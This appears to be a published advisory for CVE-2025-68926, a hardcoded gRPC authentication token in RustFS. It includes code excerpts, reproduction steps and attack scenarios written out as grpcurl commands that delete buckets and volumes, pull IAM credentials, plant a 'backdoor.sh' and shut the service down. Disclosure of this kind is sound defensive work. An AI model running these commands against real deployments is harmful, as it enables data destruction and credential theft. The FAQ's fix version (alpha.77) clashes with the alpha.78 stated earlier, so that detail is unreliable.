CVE-2025-68926: RustFS has a gRPC Hardcoded Token Authentication Bypass
Vulnerability Overview
Description
RustFS implements gRPC authentication using a hardcoded static token "rustfs rpc" that is: 1. Publicly exposed in the source code repository 2. Hardcoded on both client and server sides 3. Non-configurable with no mechanism for token rotation 4. Universally valid across all RustFS deployments
Any attacker with network access to the gRPC port can authenticate using this publicly known token and execute privileged operations including data destruction, policy manipulation, and cluster configuration changes.
CVSS 3.1 Score
Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network - Exploitable remotely - Attack Complexity (AC): Low - No special conditions required - Privileges Required (PR): None - No authentication needed (bypassed) - User Interaction (UI): None - Fully automated exploitation - Scope (S): Unchanged - Impact contained to vulnerable component - Confidentiality (C): High - Complete data disclosure - Integrity (I): High - Complete data modification capability - Availability (A): High - Complete service disruption capability
---
Vulnerable Code Analysis
Server-Side Authentication (rustfs/src/server/http.rs:679-686)
rust #[allow(clippy::resultlargeerr)] fn checkauth(req: Request<()>) -> std::result::Result<Request<()>, Status> { let token: MetadataValue<> = "rustfs rpc".parse().unwrap(); // ⚠️ HARDCODED!
match req.metadata().get("authorization") { Some(t) if token == t => Ok(req), => Err(Status::unauthenticated("No valid auth token")), } }
Issues: - Static token hardcoded as string literal - No configuration mechanism (environment variable, file, etc.) - Token visible in public GitHub repository - Identical across all installations
Client-Side Authentication (crates/protos/src/lib.rs:153-174)
rust pub async fn nodeservicetimeoutclient( addr: &String, ) -> Result<NodeServiceClient<...>, Box<dyn Error>> { let token: MetadataValue<> = "rustfs rpc".parse()?; // ⚠️ SAME HARDCODED TOKEN!
// ...
Ok(NodeServiceClient::withinterceptor( channel, Box::new(move |mut req: Request<()>| { req.metadatamut().insert("authorization", token.clone()); Ok(req) }), )) }
Issues: - Client uses identical hardcoded token - No secure token distribution mechanism - Token cannot be rotated without code changes
Service Integration (rustfs/src/server/http.rs:520-521)
rust let rpcservice = NodeServiceServer::withinterceptor(makeserver(), checkauth); let service = hybrid(s3service, rpcservice);
The checkauth interceptor is applied to all gRPC services via NodeServiceServer::withinterceptor, protecting all 50+ gRPC methods in node.proto with the same weak authentication.
---
Reproduction Steps
Environment Setup
Test Environment: - RustFS Server: localhost:9000 (HTTP + gRPC hybrid service) - RustFS Console: localhost:9001 - Container: rustfs/rustfs:latest (Docker Compose deployment) - Default credentials: rustfsadmin/rustfsadmin
Tools Required: - grpcurl v1.9.3+ (gRPC command-line client) - RustFS proto files: crates/protos/src/node.proto
Step 1: Verify Authentication is Enforced
Test 1.1: Request without authentication token
bash $ grpcurl -plaintext \ -import-path /private/tmp/rustfs/crates/protos/src \ -proto node.proto \ -d '{}' \ localhost:9000 nodeservice.NodeService/Ping
Expected Result: ✅ Authentication failure
ERROR: Code: Unauthenticated Message: No valid auth token
Test 1.2: Request with incorrect token
bash $ grpcurl -plaintext \ -H 'authorization: wrong-token-12345' \ -import-path /private/tmp/rustfs/crates/protos/src \ -proto node.proto \ -d '{}' \ localhost:9000 nodeservice.NodeService/Ping
Expected Result: ✅ Authentication failure
ERROR: Code: Unauthenticated Message: No valid auth token
Conclusion: Authentication is properly enforced - unauthorized requests are rejected.
---
Step 2: Extract Hardcoded Token from Source Code
Public Source Code Analysis:
bash $ git clone https://github.com/rustfs/rustfs.git $ cd rustfs $ grep -rn '"rustfs rpc"' --include='.rs'
Result: ✅ Token found in public source code
rustfs/src/server/http.rs:680: let token: MetadataValue<> = "rustfs rpc".parse().unwrap(); crates/protos/src/lib.rs:153: let token: MetadataValue<> = "rustfs rpc".parse()?;
Extracted Token: rustfs rpc
---
Step 3: Exploit - Authenticate Using Hardcoded Token
Test 3.1: Successful authentication with hardcoded token
bash $ grpcurl -plaintext \ -H 'authorization: rustfs rpc' \ -import-path /private/tmp/rustfs/crates/protos/src \ -proto node.proto \ -d '{}' \ localhost:9000 nodeservice.NodeService/Ping
Result: 🔓 AUTHENTICATION BYPASSED
json { "version": "1", "body": "DAAAAAAABgAIAAQABgAAAAQAAAANAAAAaGVsbG8sIGNhbGxlcgAAAA==" }
Analysis: Server accepted the hardcoded token and returned a successful response. Authentication completely bypassed.
---
Step 4: Demonstrate Access to Sensitive Management APIs
Test 4.1: Server Configuration Disclosure
bash $ grpcurl -plaintext \ -H 'authorization: rustfs rpc' \ -import-path /private/tmp/rustfs/crates/protos/src \ -proto node.proto \ -d '{}' \ localhost:9000 nodeservice.NodeService/ServerInfo
Result: ✅ Complete server configuration disclosed
json { "success": true, "serverProperties": "n6ZvbmxpbmWsMC4wLjAuMDo5MDAwoM0DhdkjMjAyNS0xMi0xOVQwNjo1NzoxOVpAMS4wLjAtYWxwaGEuNzaggawwLjAuMC4wOjkwMDCmb25saW5llNwAGq0vZGF0YS9ydXN0ZnMwwq0vZGF0YS9ydXN0ZnMwwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAANwAGq0vZGF0YS9ydXN0ZnMxwq0vZGF0YS9ydXN0ZnMxwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAdwAGq0vZGF0YS9ydXN0ZnMywq0vZGF0YS9ydXN0ZnMywsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAtwAGq0vZGF0YS9ydXN0ZnMzwq0vZGF0YS9ydXN0ZnMzwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAwGRAZUAAAAAAAAAoIA=" }
Analysis: - Server returned complete configuration including storage paths, endpoint addresses, version info - Binary data contains sensitive internal state (MessagePack encoded) - Information disclosure confirmed
Test 4.2: Disk Information Access
bash $ grpcurl -plaintext \ -H 'authorization: rustfs rpc' \ -import-path /private/tmp/rustfs/crates/protos/src \ -proto node.proto \ -d '{}' \ localhost:9000 nodeservice.NodeService/DiskInfo
Result: ✅ Authenticated request accepted (business logic error returned, not auth error)
json { "error": { "code": 36, "errorInfo": "io error can not find disk" } }
Analysis: - Request passed authentication (error is business logic, not authentication) - Proves attacker has authenticated access to sensitive system information APIs
---
Impact Analysis
Affected APIs
All 50+ gRPC methods in nodeservice.NodeService are vulnerable:
🔴 CRITICAL Impact - Data Destruction - DeleteBucket - Delete production buckets - DeleteVolume - Destroy entire storage volumes - DeleteUser - Remove legitimate users - DeletePolicy - Remove access control policies - DeleteServiceAccount - Remove service accounts
🔴 CRITICAL Impact - Configuration Manipulation - ReloadSiteReplicationConfig - Corrupt cluster replication - SignalService - Control service lifecycle - LoadPolicy - Modify access control policies - LoadPolicyMapping - Alter policy assignments
🟠 HIGH Impact - Unauthorized Data Access/Modification - ReadAll / ReadAt - Read arbitrary data - WriteAll / WriteStream - Inject malicious data - RenameFile / RenameData - Manipulate file system - UpdateMetadata / WriteMetadata - Corrupt metadata
🟠 HIGH Impact - Privilege Escalation - LoadUser - Access user credentials - LoadServiceAccount - Access service credentials - LoadGroup - Access group memberships
🟡 MEDIUM Impact - Information Disclosure - ServerInfo - Server configuration disclosure - DiskInfo - Storage configuration disclosure - GetMetrics - Performance metrics disclosure - GetBucketStats - Bucket statistics disclosure - LocalStorageInfo - Storage system information - ListBucket - Bucket enumeration
🟡 MEDIUM Impact - Cluster Operations - MakeBucket - Unauthorized bucket creation - HealBucket - Trigger repair operations - BackgroundHealStatus - Monitor internal operations
Attack Scenarios
Scenario 1: Data Destruction
bash Enumerate all buckets grpcurl -plaintext -H 'authorization: rustfs rpc' \ -d '{"options": "{}"}' \ localhost:9000 nodeservice.NodeService/ListBucket
Delete critical production bucket grpcurl -plaintext -H 'authorization: rustfs rpc' \ -d '{"bucket": "production-data"}' \ localhost:9000 nodeservice.NodeService/DeleteBucket
Delete entire storage volume grpcurl -plaintext -H 'authorization: rustfs rpc' \ -d '{"volume": "vol1"}' \ localhost:9000 nodeservice.NodeService/DeleteVolume
Impact: Complete data loss, business disruption
Scenario 2: Credential Harvesting
bash Extract user credentials grpcurl -plaintext -H 'authorization: rustfs rpc' \ -d '{"accesskey": "admin"}' \ localhost:9000 nodeservice.NodeService/LoadUser
Extract service account credentials grpcurl -plaintext -H 'authorization: rustfs rpc' \ -d '{"accesskey": "service-account"}' \ localhost:9000 nodeservice.NodeService/LoadServiceAccount
Exfiltrate IAM policies grpcurl -plaintext -H 'authorization: rustfs rpc' \ -d '{"name": "admin-policy"}' \ localhost:9000 nodeservice.NodeService/LoadPolicy
Impact: Complete IAM compromise, lateral movement
Scenario 3: Backdoor Installation
bash Inject malicious data into system paths grpcurl -plaintext -H 'authorization: rustfs rpc' \ -d '{"volume": "config", "path": "backdoor.sh", "buf": "..."}' \ localhost:9000 nodeservice.NodeService/WriteAll
Modify system configuration grpcurl -plaintext -H 'authorization: rustfs rpc' \ -d '{"bucket": "system", "path": ".rustfs.sys/config.json", "fi": "..."}' \ localhost:9000 nodeservice.NodeService/WriteMetadata
Impact: Persistent compromise, further exploitation
Scenario 4: Cluster Disruption
bash Corrupt replication configuration grpcurl -plaintext -H 'authorization: rustfs rpc' \ -d '{}' \ localhost:9000 nodeservice.NodeService/ReloadSiteReplicationConfig
Force service restart/shutdown grpcurl -plaintext -H 'authorization: rustfs rpc' \ -d '{"sig": 2}' \ localhost:9000 nodeservice.NodeService/SignalService
Impact: Distributed system failure, data inconsistency
---
Exploitation Preconditions
Required Conditions
✅ All conditions typically met in production deployments:
1. Network Access: Attacker can reach gRPC port (9000/TCP) - RustFS binds to 0.0.0.0 by default (all interfaces) - Commonly exposed for distributed node communication
2. Token Knowledge: Token is publicly known - Available in public GitHub repository - Identical across all RustFS installations - Cannot be changed without code modification
3. No Additional Security Controls: - No mTLS/certificate-based authentication - No IP whitelisting (typically) - No VPN/network segmentation requirements - No rate limiting on authentication attempts
Attack Complexity
Complexity: 🟢 TRIVIAL
- Single grpcurl command with hardcoded token - No exploit development required - No timing or race conditions - No target-specific reconnaissance needed - Fully automatable - Works against any RustFS instance
Time to Exploit: < 1 minute
---
Security Impact
Confidentiality Impact: HIGH
- Complete Data Disclosure: All stored objects readable via ReadAll/ReadAt - Credential Exposure: IAM users, service accounts, policies accessible - Configuration Disclosure: Server, storage, cluster configuration leaked - Metrics Exposure: Performance and usage metrics accessible
Integrity Impact: HIGH
- Data Modification: Arbitrary data injection via WriteAll/WriteStream - Metadata Corruption: File metadata tampering via WriteMetadata - Policy Manipulation: IAM policies modifiable via LoadPolicy - Configuration Changes: Cluster replication config alterable
Availability Impact: HIGH
- Data Destruction: Buckets/volumes deletable via DeleteBucket/DeleteVolume - Service Disruption: Service controllable via SignalService - Cluster Degradation: Replication corruption via ReloadSiteReplicationConfig - Resource Exhaustion: Arbitrary data writes, bucket creation
---
Compliance & Regulatory Impact
Standards Violated
PCI-DSS v4.0 - Requirement 6.5.3: Broken authentication - Requirement 8.2: Strong authentication required - Requirement 8.6: Multi-factor authentication required
OWASP Top 10 2021 - A07:2021 - Identification and Authentication Failures - Use of hard-coded credentials - Missing or ineffective authentication
CWE (Common Weakness Enumeration) - CWE-798: Use of Hard-coded Credentials (Rank: 37/400) - CWE-1391: Use of Weak Credentials - CWE-287: Improper Authentication
NIST Cybersecurity Framework - PR.AC-1: Access control mechanisms violated - PR.AC-7: Authentication mechanisms insufficient
SOC 2 Type II - CC6.1: Logical access controls inadequate - CC6.6: Credential management controls missing
Legal & Business Impact
- Data Breach Notification: GDPR Art. 33, CCPA §1798.150 - Regulatory Fines: GDPR up to €20M or 4% annual revenue - Customer Trust: Severe reputational damage - Service Disruption: SLA violations, customer compensation - Incident Response Costs: Forensics, remediation, legal fees
---
Proof of Concept
Automated POC Script
File: auditanalysis/poccve2025008grpctokenworking.sh
Usage: bash chmod +x poccve2025008grpctokenworking.sh ./poccve2025008grpctokenworking.sh [targethost:port]
Default Target: localhost:9000
POC Features
1. ✅ Baseline Authentication Testing - Verifies unauthenticated requests are rejected - Verifies incorrect tokens are rejected
2. ✅ Exploit Demonstration - Authenticates using hardcoded token - Calls Ping service successfully
3. ✅ Sensitive API Access - Accesses ServerInfo (configuration disclosure) - Accesses DiskInfo (system information) - Demonstrates authenticated access to management APIs
4. ✅ Detailed Reporting - Displays vulnerable code locations - Lists all affected APIs (50+ methods) - Provides CVSS scoring and impact analysis - Includes remediation recommendations
POC Output Summary
[PHASE 1] Baseline Testing ✓ Without token: REJECTED (Unauthenticated) ✓ With wrong token: REJECTED (Unauthenticated)
[PHASE 2] Exploit ✓ With hardcoded token "rustfs rpc": ACCEPTED ✅
[PHASE 3] Sensitive API Access ✓ ServerInfo: SUCCESS - Configuration disclosed ✓ DiskInfo: SUCCESS - System information accessible
[RESULT] VULNERABILITY CONFIRMED
Acknowledgements
We would like to thank bilisheep from the Xmirror Security Team for discovering and responsibly reporting this vulnerability.
Other sources
RustFS is a distributed object storage system built in Rust. In versions prior to 1.0.0-alpha.78, RustFS implements gRPC authentication using a hardcoded static token "rustfs rpc" that is publicly exposed in the source code repository, hardcoded on both client and server sides, non-configurable with no mechanism for token rotation, and universally valid across all RustFS deployments. Any attacker with network access to the gRPC port can authenticate using this publicly known token and execute privileged operations including data destruction, policy manipulation, and cluster configuration changes. Version 1.0.0-alpha.78 contains a fix for the issue.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2025-68926?
CVE-2025-68926 is considered a high-severity vulnerability due to the exposure of a hardcoded static authentication token.
How do I fix CVE-2025-68926?
To fix CVE-2025-68926, upgrade to RustFS version 1.0.0-alpha.77 or later to eliminate the hardcoded token.
What is the main impact of CVE-2025-68926?
The main impact of CVE-2025-68926 is that unauthorized users could potentially gain access to the RustFS system using the exposed authentication token.
Which versions of RustFS are affected by CVE-2025-68926?
RustFS versions prior to 1.0.0-alpha.77 are affected by CVE-2025-68926 due to the hardcoded authentication token.
Is CVE-2025-68926 open to exploitation?
Yes, CVE-2025-68926 is open to exploitation since the static token is hardcoded and publicly accessible in the source code.